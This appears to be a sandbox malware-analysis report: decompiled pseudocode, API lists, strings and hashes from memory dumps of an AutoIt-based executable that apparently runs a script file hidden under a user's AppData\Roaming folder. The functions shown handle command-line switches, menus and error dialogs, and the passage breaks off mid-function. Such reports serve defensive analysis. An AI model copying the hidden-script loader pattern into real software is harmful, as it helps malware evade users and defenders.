0x00f4e852
0x00000000
0x00f4e854
0x00f4e85a
0x00f4e864
0x00f4e864
0x00f4e867
0x00f4e869
0x00f4e86b
0x00000000
0x00000000
0x00f4e86f
0x00f4e877
0x00f4e87d
0x00f4e87f
0x00000000
0x00000000
0x00f4e881
0x00f4e888
0x00000000
0x00000000
0x00f4e88a
0x00f4e88d
0x00f4e891
0x00f4e893
0x00f4e8a7
0x00000000
0x00f4e8a7
0x00f4e895
0x00f4e895
0x00f4e898
0x00f4e899
0x00f4e899
0x00f4e8a1
0x00000000
0x00f4e8a1
0x00000000
0x00f4e8b0
0x00f4e8b5
0x00000000
0x00000000
0x00f4e8b9
0x00f4e8be
0x00000000
0x00000000
0x00f4e8c2
0x00f4e8c7
0x00f4e8d2
0x00f4e8d2
0x00f4e8d3
0x00000000
0x00000000

APIs

_memset.LIBCMT ref: 00F4E7EF
GetMenuItemInfoW.USER32(?,00000007,00000000,00000030), ref: 00F4E877
GetMenuItemCount.USER32 ref: 00F4E90B
DeleteMenu.USER32(?,00000005,00000000,?,?,?), ref: 00F4E99F
DeleteMenu.USER32(?,00000004,00000000,?,?), ref: 00F4E9A8
DeleteMenu.USER32(00000000,00000006,00000000,?,00000004,00000000,?,?), ref: 00F4E9B1
DeleteMenu.USER32(?,00000003,00000000,?,00000004,00000000,?,?), ref: 00F4E9BA
GetMenuItemCount.USER32 ref: 00F4E9C3
SetMenuItemInfoW.USER32 ref: 00F4E9FB
GetCursorPos.USER32(?), ref: 00F4EA05
SetForegroundWindow.USER32(?,?,?,00000003,00000000,?,00000004,00000000,?,?), ref: 00F4EA0F
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,?,00000003,00000000,?,00000004,00000000,?,?), ref: 00F4EA25
PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00F4EA32

Strings

0, xrefs: 00F4E7E8

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID: 0
API String ID: 3993528054-4108050209
Opcode ID: 59a159cb9c0afb57ad123b3e3ca8aaa708df31961cda201632835c70c2016dd7
Instruction ID: b92faf89f894baa0f994b77a7d832339cac3667219701c2f26e845b48474b8e6
Opcode Fuzzy Hash: 59a159cb9c0afb57ad123b3e3ca8aaa708df31961cda201632835c70c2016dd7
Instruction Fuzzy Hash: AF71A171A04304BBEB30DB54CC45F5ABBA8BF85734F34470AF9A56B2D1C7B4A844AB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EE2190, Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00EE2190(void* __ecx, void* __eflags, void* _a4) {
				char _v12;
				char _v28;
				char _v40;
				char _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v80;
				struct HINSTANCE__* _v84;
				void* __edi;
				void* __esi;
				void* _t78;
				void* _t81;
				void* _t84;
				void* _t91;
				intOrPtr* _t100;
				void* _t104;
				intOrPtr _t108;
				intOrPtr _t109;
				void* _t110;
				intOrPtr _t118;
				void* _t139;
				intOrPtr* _t158;
				void* _t161;
				void* _t162;
				void* _t163;
				void* _t164;
				void* _t165;
				void* _t166;

				_t168 = __eflags;
				E00EEE8E0( &_v84);
				_push(_a4);
				_v12 = 0;
				E00EE2790( &_v84, _t139, __eflags);
				 *0xf87f6c = 0;
				 *0xf87f50 = 0xf87f6c;
				E00EEF140(0,  &_v48,  &_v80);
				E00EE1D10(L"CMDLINERAW",  &_v28, _t168);
				E00EE1BE0(0, 1,  &_v48,  &_v28);
				E00EE2480( &_v28);
				E00EE9190(L"CMDLINERAW",  &_v48);
				_t146 = L"CMDLINE";
				_v40 = 1;
				_v48 = 0;
				E00EE1D10(L"CMDLINE",  &_v28, _t168);
				E00EE1BE0(0, 0x100,  &_v48,  &_v28);
				E00EE2480( &_v28);
				E00EE1D10(L"CMDLINE",  &_v28, _t168);
				E00EEC510(0,  &_v28,  &_a4,  &_v12);
				E00EE2480( &_v28);
				_t118 = _v56;
				E00EEBEC0( &_v28, _t168);
				E00EE1BA0( &_v84,  &_v28,  &_v28);
				_t156 = _v28;
				_t78 = E00EF13CB(L"CMDLINE", L"/ErrorStdOut", _v28);
				_t162 = _t161 + 8;
				if(_t78 == 0) {
					 *0xf774e8 = 1;
					_t118 = _t118 - 1;
					E00EE1BA0( &_v84,  &_v28, _t156);
					_t156 = _v28;
				}
				_t81 = E00EF13CB(_t146, L"/AutoIt3OutputDebug", _t156);
				_t163 = _t162 + 8;
				if(_t81 == 0) {
					 *0xf774e7 = 1;
					_t118 = _t118 - 1;
					E00EE1BA0( &_v84,  &_v28, _t156);
					_t156 = _v28;
				}
				_t84 = E00EF13CB(_t146, L"/AutoIt3ExecuteLine", _t156);
				_t164 = _t163 + 8;
				if(_t84 == 0) {
					 *0xf87f54 = 1;
					 *0xf87f58 = 1;
					GetModuleFileNameW(0, "C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", 0x104);
					E00EE1BA0( &_v84,  &_v28, _t156);
					E00EEDE00(0xf87f5c,  &_v28);
					_t134 =  &_v28;
					_t118 = _t118 - 2;
					E00EE1BA0( &_v84,  &_v28, 0xf87f5c);
					_t156 = _v28;
				}
				_t91 = E00EF13CB(_t146, L"/AutoIt3ExecuteScript", _t156);
				_t165 = _t164 + 8;
				if(_t91 == 0) {
					 *0xf87f54 = 3;
					E00EE1BA0( &_v84,  &_v28, _t156);
					E00EF1487("C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", _v28);
					_t165 = _t165 + 8;
					_t134 =  &_v28;
					_t118 = _t118 - 2;
					E00EE1BA0( &_v84,  &_v28, _t156);
					_t156 = _v28;
				}
				if( *0xf87f6c == 0) {
					E00EF1487("C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", _t156);
					_t165 = _t165 + 8;
					_t134 =  &_v28;
					_t118 = _t118 - 1;
					E00EE1BA0( &_v84,  &_v28, _t156);
				}
				if(_t118 < 0) {
					_t118 = 0;
				}
				_t147 = _a4;
				_push(_t118 + 1);
				E00EEEA50(_a4, _t134, 1);
				_push(0);
				_t100 = E00EED150(_t134, _a4, 0, 1);
				_t166 = _t165 + 0x14;
				_t158 = _t100;
				E00EE9190(_a4, _t158);
				 *((intOrPtr*)(_t158 + 8)) = 1;
				 *_t158 = _t118;
				if(_t118 > 0) {
					_t108 = 0;
					while(1) {
						_t109 = _t108 + 1;
						_push(_t109);
						_v12 = _t109;
						_t110 = E00EED150(_t134, _a4, 0, 1);
						_t166 = _t166 + 0xc;
						_t147 =  &_v28;
						E00EEE8A0(_t134, _t147, _t110);
						_t134 = _t147;
						E00EE1BA0( &_v84, _t147, _t110);
						if(_v12 >= _t118) {
							goto L10;
						}
						_t108 = _v12;
					}
				}
				L10:
				E00EE2480( &_v28);
				_t104 = E00EED300(E00EE9190(_t147,  &_v48),  &_v64);
				_v84 = 0;
				_v64 = 0xf64e68;
				E00EED300(_t104,  &_v64);
				_push(_v60);
				E00EF10FC();
				return E00EE2480( &_v80);
			}

0x00ee2190
0x00ee219c
0x00ee21a6
0x00ee21a9
0x00ee21ac
0x00ee21b9
0x00ee21c0
0x00ee21ca
0x00ee21d7
0x00ee21e4
0x00ee21eb
0x00ee21f3
0x00ee21f8
0x00ee2200
0x00ee2207
0x00ee220a
0x00ee2219
0x00ee2220
0x00ee2228
0x00ee2237
0x00ee223e
0x00ee2243
0x00ee2249
0x00ee2254
0x00ee2259
0x00ee2262
0x00ee2267
0x00ee226c
0x00f08a89
0x00f08a90
0x00f08a91
0x00f08a96
0x00f08a96
0x00ee2278
0x00ee227d
0x00ee2282
0x00f08aa4
0x00f08aab
0x00f08aac
0x00f08ab1
0x00f08ab1
0x00ee228e
0x00ee2293
0x00ee2298
0x00f08ac5
0x00f08acf
0x00f08ad6
0x00f08ae2
0x00f08af0
0x00f08af5
0x00f08afb
0x00f08afe
0x00f08b03
0x00f08b03
0x00ee22a4
0x00ee22a9
0x00ee22ae
0x00f08b11
0x00f08b1b
0x00f08b29
0x00f08b2e
0x00f08b31
0x00f08b37
0x00f08b3a
0x00f08b3f
0x00f08b3f
0x00ee22bc
0x00ee22c4
0x00ee22c9
0x00ee22cc
0x00ee22d2
0x00ee22d3
0x00ee22d3
0x00ee22da
0x00f08b4f
0x00f08b4f
0x00ee22e0
0x00ee22e6
0x00ee22eb
0x00ee22f0
0x00ee22f6
0x00ee22fb
0x00ee22fe
0x00ee2300
0x00ee2305
0x00ee230c
0x00ee2310
0x00ee2312
0x00ee2314
0x00ee2317
0x00ee2318
0x00ee231d
0x00ee2320
0x00ee2325
0x00ee2328
0x00ee232d
0x00ee2332
0x00ee2337
0x00ee233f
0x00000000
0x00000000
0x00f08b47
0x00f08b47
0x00ee2314
0x00ee2345
0x00ee2348
0x00ee2358
0x00ee235d
0x00ee2364
0x00ee236b
0x00ee2373
0x00ee2374
0x00ee238a

APIs

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

__wcsicoll.LIBCMT ref: 00EE2262
__wcsicoll.LIBCMT ref: 00EE2278
__wcsicoll.LIBCMT ref: 00EE228E

Part of subcall function 00EF13CB: __wcsicmp_l.LIBCMT ref: 00EF144B

__wcsicoll.LIBCMT ref: 00EE22A4
_wcscpy.LIBCMT ref: 00EE22C4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00000104), ref: 00F08AD6
_wcscpy.LIBCMT ref: 00F08B29

Strings

CMDLINERAW, xrefs: 00EE21CF
C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EE21B9, 00EE21C0, 00EE22B4, 00EE22BF, 00F08ABE, 00F08B24
CMDLINE, xrefs: 00EE21F8
/AutoIt3ExecuteScript, xrefs: 00EE229F
/AutoIt3ExecuteLine, xrefs: 00EE2289
/ErrorStdOut, xrefs: 00EE225D
/AutoIt3OutputDebug, xrefs: 00EE2273

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsicoll$_wcscpy$FileModuleName__wcsicmp_l_memmove_wcslen
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\AppData\Roaming\22032878\xaso.fhr$CMDLINE$CMDLINERAW
API String ID: 574121520-843523828
Opcode ID: 0f670949d0feb5e24396aa836cf2aa14abda4f72b4a0b723827cc8a72b754aea
Instruction ID: 145e53d74bc1bde8a47299357db5f8014d596542086f911ad9ecc5b82c57bee6
Opcode Fuzzy Hash: 0f670949d0feb5e24396aa836cf2aa14abda4f72b4a0b723827cc8a72b754aea
Instruction Fuzzy Hash: 69715E71D1425E9BCF04FFA2DC52AEE77B8AF44344F101068E60577292EBB0A949DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00F47BBF, Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 227
windowsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F47BBF(void* __eflags, void* __fp0, signed int _a4, int _a8, int _a12) {
				int _v12;
				char _v16;
				int _v20;
				struct tagMENUITEMINFOW _v68;
				struct HMENU__** _t69;
				signed int _t81;
				int _t82;
				signed int _t85;
				intOrPtr _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t91;
				unsigned int _t99;
				signed int _t100;
				struct HMENU__* _t101;
				int _t113;
				int _t114;
				int _t115;
				int _t118;
				int _t119;
				struct HMENU__** _t120;
				void* _t126;

				_t126 = __fp0;
				_t99 = _a8;
				_t120 = _a4;
				_v68.cbSize = 0x30;
				E00EF2E60( &(_v68.fMask), 0, 0x2c);
				_t102 =  &_a8;
				_v68.fMask = 1;
				_a8 = 0xffffffff;
				if(E00F14160(_t120, _t99 & 0x0000ffff,  &_a8) == 0) {
					L38:
					__eflags = 0;
					return 0;
				} else {
					_t113 = _a8;
					_t69 =  *(_t120 + 0x1b4 + _t113 * 4);
					if(_t113 != 3) {
						__eflags = _t113 - 4;
						if(_t113 != 4) {
							_t100 = _t99 >> 0x10;
							__eflags = _t100;
							if(_t100 != 0) {
								goto L38;
							} else {
								__eflags = _a12 - _t100;
								if(_a12 != _t100) {
									goto L38;
								} else {
									__eflags =  *0xf774ec - _t100;
									if( *0xf774ec != _t100) {
										goto L38;
									} else {
										__eflags = _t120[1];
										_t101 =  *_t69;
										if(_t120[1] == 0) {
											L34:
											__eflags = _t120[1];
											if(__eflags == 0) {
												goto L33;
											} else {
												GetMenuItemInfoW(_t101, _t113, 0,  &_v68);
												__eflags = _v68.fState & 0x00000008;
												if((_v68.fState & 0x00000008) == 0) {
													_t62 =  &(_v68.fState);
													 *_t62 = _v68.fState | 0x00000008;
													__eflags =  *_t62;
													SetMenuItemInfoW(_t101, _t113, 0,  &_v68);
													E00F33AE4( &_v68, __eflags, _t120, _t113);
													return 1;
												} else {
													_t59 =  &(_v68.fState);
													 *_t59 = _v68.fState ^ 0x00000008;
													__eflags =  *_t59;
													SetMenuItemInfoW(_t101, _t113, 0,  &_v68);
													E00F33AE4( &_v68, __eflags, _t120, _t113);
													return 1;
												}
											}
										} else {
											__eflags = _t69[1];
											if(_t69[1] == 0) {
												goto L34;
											} else {
												_a12 = 0xffffffff;
												_t81 = GetMenuItemCount(_t101);
												__eflags = _t120[1];
												_a4 = _t81;
												if(_t120[1] != 0) {
													_t81 = _t81 - 4;
													__eflags = _t81;
													_a4 = _t81;
												}
												_t114 = 0;
												__eflags = _t81;
												if(_t81 <= 0) {
													_t82 = _a12;
													goto L22;
												} else {
													while(1) {
														_t82 = GetMenuItemID(_t101, _t114);
														__eflags = _t82 - _a8;
														if(_t82 == _a8) {
															break;
														}
														_t114 = _t114 + 1;
														__eflags = _t114 - _a4;
														if(_t114 < _a4) {
															continue;
														} else {
															L22:
															__eflags = _t82 - _a8;
															if(__eflags == 0) {
																break;
															}
														}
														goto L32;
													}
													_v12 = _t114;
													_t115 = _t114 - 1;
													__eflags = _t115;
													while(_t115 >= 0) {
														_a12 = GetMenuItemID(_t101, _t115);
														_t88 = E00F14160(_t120, _t87,  &_v16);
														__eflags = _t88;
														if(_t88 == 0) {
															goto L26;
														} else {
															_t89 =  *((intOrPtr*)(_t120 + 0x1b4 + _a12 * 4));
															__eflags =  *((char*)(_t89 + 5));
															if( *((char*)(_t89 + 5)) != 0) {
																goto L26;
															}
														}
														goto L27;
														L26:
														_t115 = _t115 - 1;
														__eflags = _t115;
													}
													L27:
													_v20 = _t115 + 1;
													_t118 = _v12 + 1;
													__eflags = _t118 - _a4;
													while(_t118 < _a4) {
														_a12 = GetMenuItemID(_t101, _t118);
														_t85 = E00F14160(_t120, _t84,  &_v16);
														__eflags = _t85;
														if(_t85 == 0) {
															goto L30;
														} else {
															_t86 =  *((intOrPtr*)(_t120 + 0x1b4 + _a12 * 4));
															__eflags =  *((char*)(_t86 + 5));
															if( *((char*)(_t86 + 5)) != 0) {
																goto L30;
															}
														}
														goto L31;
														L30:
														_t118 = _t118 + 1;
														__eflags = _t118 - _a4;
													}
													L31:
													_t102 = _v12;
													_t119 = _t118 - 1;
													__eflags = _t119;
													CheckMenuRadioItem(_t101, _v20, _t119, _v12, 0x400);
												}
												L32:
												_t113 = _a8;
												L33:
												E00F33AE4(_t102, __eflags, _t120, _t113);
												return 1;
											}
										}
									}
								}
							}
						} else {
							_t91 = GetMenuItemInfoW( *_t120, _t113, 0,  &_v68);
							__eflags = _t91;
							if(_t91 == 0) {
								goto L38;
							} else {
								__eflags = _v68.fState & 0x00000008;
								if((_v68.fState & 0x00000008) == 0) {
									_t18 =  &(_v68.fState);
									 *_t18 = _v68.fState | 0x00000008;
									__eflags =  *_t18;
									 *0xf774ec = 1;
								} else {
									_v68.fState = _v68.fState ^ 0x00000008;
									 *0xf774ec = 0;
								}
								SetMenuItemInfoW( *_t120, 4, 0,  &_v68);
								E00EE1E00(_t120, _t126);
								Sleep(0x1f4);
								return 1;
							}
						}
					} else {
						 *0xf774f0 = 2;
						 *0xf774e6 = 1;
						return 1;
					}
				}
			}

0x00f47bbf
0x00f47bc6
0x00f47bca
0x00f47bd6
0x00f47bdd
0x00f47be5
0x00f47bee
0x00f47bf5
0x00f47c03
0x00f47e21
0x00f47e21
0x00f47e27
0x00f47c09
0x00f47c09
0x00f47c0c
0x00f47c16
0x00f47c34
0x00f47c37
0x00f47c9f
0x00f47ca2
0x00f47ca4
0x00000000
0x00f47caa
0x00f47caa
0x00f47cad
0x00000000
0x00f47cb3
0x00f47cb3
0x00f47cb9
0x00000000
0x00f47cbf
0x00f47cbf
0x00f47cc3
0x00f47cc5
0x00f47dbb
0x00f47dbb
0x00f47dbf
0x00000000
0x00f47dc1
0x00f47dc9
0x00f47dd4
0x00f47dd7
0x00f47dfc
0x00f47dfc
0x00f47dfc
0x00f47e07
0x00f47e0f
0x00f47e1c
0x00f47dd9
0x00f47dd9
0x00f47dd9
0x00f47dd9
0x00f47de4
0x00f47dec
0x00f47df9
0x00f47df9
0x00f47dd7
0x00f47ccb
0x00f47ccb
0x00f47ccf
0x00000000
0x00f47cd5
0x00f47cd6
0x00f47cdd
0x00f47ce3
0x00f47ce7
0x00f47cea
0x00f47cec
0x00f47cec
0x00f47cef
0x00f47cef
0x00f47cf2
0x00f47cf4
0x00f47cf6
0x00f47d14
0x00000000
0x00f47cff
0x00f47cff
0x00f47d01
0x00f47d07
0x00f47d0a
0x00000000
0x00000000
0x00f47d0c
0x00f47d0d
0x00f47d10
0x00000000
0x00f47d12
0x00f47d17
0x00f47d17
0x00f47d1a
0x00000000
0x00000000
0x00f47d1a
0x00000000
0x00f47d10
0x00f47d20
0x00f47d23
0x00f47d23
0x00f47d24
0x00f47d34
0x00f47d37
0x00f47d3c
0x00f47d3e
0x00000000
0x00f47d40
0x00f47d43
0x00f47d4a
0x00f47d4e
0x00000000
0x00000000
0x00f47d4e
0x00000000
0x00f47d50
0x00f47d50
0x00f47d50
0x00f47d50
0x00f47d53
0x00f47d54
0x00f47d5a
0x00f47d5b
0x00f47d5e
0x00f47d6e
0x00f47d71
0x00f47d76
0x00f47d78
0x00000000
0x00f47d7a
0x00f47d7d
0x00f47d84
0x00f47d88
0x00000000
0x00000000
0x00f47d88
0x00000000
0x00f47d8a
0x00f47d8a
0x00f47d8b
0x00f47d8b
0x00f47d90
0x00f47d90
0x00f47d9c
0x00f47d9c
0x00f47da0
0x00f47da0
0x00f47da6
0x00f47da6
0x00f47da9
0x00f47dab
0x00f47db8
0x00f47db8
0x00f47ccf
0x00f47cc5
0x00f47cb9
0x00f47cad
0x00f47c39
0x00f47c43
0x00f47c49
0x00f47c4b
0x00000000
0x00f47c51
0x00f47c56
0x00f47c59
0x00f47c67
0x00f47c67
0x00f47c67
0x00f47c6a
0x00f47c5b
0x00f47c5b
0x00f47c5e
0x00f47c5e
0x00f47c7c
0x00f47c84
0x00f47c8e
0x00f47c9c
0x00f47c9c
0x00f47c4b
0x00f47c18
0x00f47c18
0x00f47c22
0x00f47c31
0x00f47c31
0x00f47c16

APIs

_memset.LIBCMT ref: 00F47BDD
GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 00F47C43
SetMenuItemInfoW.USER32 ref: 00F47C7C
Sleep.KERNEL32(000001F4,?,FFFFFFFF,00000000,00000030,?,?,?,?,?,?), ref: 00F47C8E

Strings

0, xrefs: 00F47BD6

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoItemMenu$Sleep_memset
String ID: 0
API String ID: 1504565804-4108050209
Opcode ID: b6473d82561cfc398e373f466b3b25fdcb27809dcad4635f2619165baeb2fab7
Instruction ID: 794b9f2849b39e332dc04f1d66165b10d7c1fa26beb2393a6c283dec0040b542
Opcode Fuzzy Hash: b6473d82561cfc398e373f466b3b25fdcb27809dcad4635f2619165baeb2fab7
Instruction Fuzzy Hash: 1B71AF71904348ABDB20EF54DC89FAFBBB9EF81320F04855AFD1597281D771A941DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F405C5, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 136
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00F405C5(WCHAR* __edx, void* __fp0, intOrPtr _a4, int _a8, intOrPtr _a12) {
				WCHAR* _v24;
				intOrPtr _v28;
				void* _v44;
				char _v60;
				WCHAR* _v76;
				short _v8272;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t38;
				intOrPtr _t48;
				intOrPtr _t82;
				int _t83;
				int _t85;
				WCHAR* _t96;
				intOrPtr _t108;
				void* _t117;

				_t117 = __fp0;
				_t93 = __edx;
				_t38 = E00F02160(0x2050);
				_t82 = _a4;
				_t112 = _t82;
				if(_t82 > 0) {
					_t85 =  *0xf89130; // 0x66
					LoadStringW(GetModuleHandleW(0), _t85,  &_v8272, 0xfff);
					_t96 =  &_v8272;
					E00EE1D10(_t96,  &_v76, _t112);
					LoadStringW(GetModuleHandleW(0), _a8, _t96, 0xfff);
					E00EE1D10(_t96,  &_v60, _t112);
					_a4 = E00F148C5(_t82);
					_t48 = E00F14891(_t82);
					_t106 = _t48;
					_v28 = _t48;
					_t83 = E00F148EF(E00F14916(_t82));
					_a8 = _t83;
					_t113 = _t83;
					if(_t83 != 0) {
						_push(_t83);
						_t93 =  &_v8272;
						E00EF31BB( &_v8272,  &_v8272, L"Line %d  (File \"%s\"):\n\n", _t106);
					} else {
						E00EF31BB(_t93, _t96, L"Line %d:\n\n", _t106);
					}
					E00EE1D10( &_v8272,  &_v24, _t113);
					_t108 = _a4;
					E00EE1DE0( &_v24, _t85, _t108, _t117);
					E00EE1DE0( &_v24, _t85, "\n", _t117);
					_t86 =  &_v44;
					E00EEBEC0( &_v44, _t113);
					_t100 = _a12;
					if(_a12 >= 0) {
						E00EE2390( &_v44, _t108, _t93, _t100);
						E00EEC850( &_v44 | 0xffffffff,  &_v44, _t100);
						E00EE1DE0( &_v44,  &_v44, L"^ ERROR", _t117);
						_t86 =  &_v44;
						E00EEBFA0( &_v24, _t117,  &_v44);
						E00EE1DE0( &_v24,  &_v44, "\n", _t117);
						_t83 = _a8;
					}
					E00EE1DE0( &_v24, _t86, L"\nError: ", _t117);
					E00EEBFA0( &_v24, _t117,  &_v60);
					_t116 =  *0xf890eb;
					if( *0xf890eb == 0) {
						MessageBoxW(0, _v24, _v76, 0x11010);
					} else {
						_push(_v44);
						_push(_t108);
						_push(_v60);
						_push(_v28);
						_push(_t83);
						_push(L"%s (%d) : ==> %s: \n%s \n%s\n");
						E00EF39DE(_t83, _v28, L"\nError: ", _t108, _t116);
					}
					E00EE2480( &_v44);
					E00EE2480( &_v24);
					E00EE2480( &_v60);
					return E00EE2480( &_v76);
				}
				return _t38;
			}

0x00f405c5
0x00f405c5
0x00f405cd
0x00f405d3
0x00f405d8
0x00f405da
0x00f405e0
0x00f405fc
0x00f40602
0x00f4060b
0x00f40623
0x00f4062c
0x00f40638
0x00f4063b
0x00f40640
0x00f40643
0x00f40651
0x00f40653
0x00f40656
0x00f40658
0x00f4066b
0x00f4066d
0x00f40679
0x00f4065a
0x00f40661
0x00f40666
0x00f4068a
0x00f4068f
0x00f40697
0x00f406a4
0x00f406a9
0x00f406ac
0x00f406b1
0x00f406b6
0x00f406bd
0x00f406ca
0x00f406d7
0x00f406dc
0x00f406e3
0x00f406f0
0x00f406f5
0x00f406f5
0x00f40700
0x00f4070c
0x00f40711
0x00f40718
0x00f40746
0x00f4071a
0x00f40723
0x00f40724
0x00f40725
0x00f40726
0x00f40727
0x00f40728
0x00f4072d
0x00f40732
0x00f4074f
0x00f40757
0x00f4075f
0x00000000
0x00f40767
0x00f40772

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00F07F37,?,0000138C,?,00000001,?,?,?), ref: 00F405F5
LoadStringW.USER32(00000000,?,00F07F37,?), ref: 00F405FC

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00F07F37,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 00F4061C
LoadStringW.USER32(00000000,?,00F07F37,?), ref: 00F40623
__swprintf.LIBCMT ref: 00F40661
__swprintf.LIBCMT ref: 00F40679
_wprintf.LIBCMT ref: 00F4072D
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F40746

Strings

^ ERROR, xrefs: 00F406CF
%s (%d) : ==> %s: %s %s, xrefs: 00F40728
Line %d (File "%s"):, xrefs: 00F40673
Error: , xrefs: 00F406F8
Line %d:, xrefs: 00F4065B

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wcslen_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 3631882475-2268648507
Opcode ID: 4e01cee6afa5d0da48398ab4fdbaeb35d0827f5f4857feb9a58d80d23d97fdb0
Instruction ID: ad7b2991c53dc885f9941396e996cd0348ec71ca6712f82f9644b59fdb17c35c
Opcode Fuzzy Hash: 4e01cee6afa5d0da48398ab4fdbaeb35d0827f5f4857feb9a58d80d23d97fdb0
Instruction Fuzzy Hash: 6F418F72A0024DABDB00FBA1CC86DEE7BBCAF44751F445025FA05B7152DA70AE85DB71

Uniqueness

Uniqueness Score: -1.00%

Function 00F3E724, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00F3E724(void* __fp0, struct HINSTANCE__* _a4, int _a8, intOrPtr _a12) {
				WCHAR* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				char _v68;
				WCHAR* _v84;
				short _v8280;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t51;
				intOrPtr _t96;
				WCHAR* _t100;
				WCHAR* _t118;
				intOrPtr _t119;
				intOrPtr _t129;
				intOrPtr _t131;
				struct HINSTANCE__* _t132;
				void* _t146;

				_t146 = __fp0;
				_t51 = E00F02160(0x2058);
				if( *0xf774e2 == 0) {
					_t51 = _a4;
					_t138 =  *((intOrPtr*)(_t51 + 0xf8)) - 1;
					if( *((intOrPtr*)(_t51 + 0xf8)) != 1) {
						LoadStringW( *0xf77520, 0x66,  &_v8280, 0xfff);
						_t118 =  &_v8280;
						E00EE1D10(_t118,  &_v84, _t138);
						_t111 =  *0xf77520;
						LoadStringW( *0xf77520, _a8, _t118, 0xfff);
						E00EE1D10(_t118,  &_v68, _t138);
						_t129 =  *((intOrPtr*)(_a4 + 0xf4));
						_v36 = E00F148C5(_t129);
						_t119 = E00F14891(_t129);
						_v28 = _t119;
						_t96 = E00F148EF(E00F14916(_t129));
						_v32 = _t96;
						_t100 =  &_v8280;
						_t139 = _t96;
						if(_t96 == 0) {
							_t111 = _a4;
